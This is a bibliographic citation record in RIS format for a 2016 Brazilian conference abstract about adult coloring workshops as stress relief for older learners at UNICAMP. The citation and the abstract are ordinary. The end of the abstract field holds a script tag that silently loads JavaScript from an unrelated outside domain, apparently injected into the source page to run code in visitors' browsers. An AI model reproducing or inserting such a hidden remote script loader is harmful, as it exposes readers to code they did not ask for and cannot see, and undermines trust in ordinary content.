TY - JOUR AU - Silva, Elaine Regina Zerlin Aguiar AU - Fernandes, Marisa Tavares AU - Santos, Viviane Aguiar PY - 2016/10/27 Y2 - 2024/03/28 TI - A pintura de desenhos elaborados e detalhados como instrumento antiestresse para adultos JF - Sínteses: Revista Eletrônica do SimTec JA - Sínteses: Rev. Eletr. SimTec VL - 0 IS - 6 SE - Eixo 3 - Desenvolvimento humano, Diversidade, Sustentabilidade, Qualidade de vida e cultura DO - UR - https://econtents.bc.unicamp.br/inpec/index.php/simtec/article/view/8455 SP - 243-243 AB - <p><span>Os livros antiestresse foram criados como uma forma de arte-terapia, na França, quando Johanna Basford lançou os livros para colorir destinada aos adultos. Os desenhos possibilitam que cada um crie uma obra única e possam retomar vivências da infância. A oficina teve o objetivo de inspirar a criatividade dos participantes; estimular a tranquilidade, a integração e a reflexão; melhorar a auto estima e diminuir o estresse. Foram realizados quatro encontros de três horas cada, no período de 01 a 29 de junho de 2016, com os participantes do Programa Universidade da Terceira Idade da UNICAMP. Cada encontro teve de 10 a 15 participantes e aconteceram na Sala de Reuniões da Biblioteca Central. Ao grupo, mulheres e homens, foram oferecidos desenhos impressos de diferentes temas para serem escolhidos por eles e pintados com lápis de cor. Durante as oficinas foram apresentados alguns slides com informações sobre o trabalho do psicólogo; a auto estima; e o funcionamento do estresse e suas implicações para a saúde. Em cada encontro foi realizada uma atividade de relaxamento diferente. Foram pintados 80 desenhos de temas variados. Durante as atividades os alunos compartilharam algumas experiências da infância com desenho e sentimentos que surgiram enquanto pintavam. No último encontro, o grupo fez uma exposição com os desenhos solicitados pela equipe e observaram as diferentes escolhas de cores. Ao final dos encontros, os participantes relataram ter se sentido mais criativos e tranqüilos.</span></p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script> ER -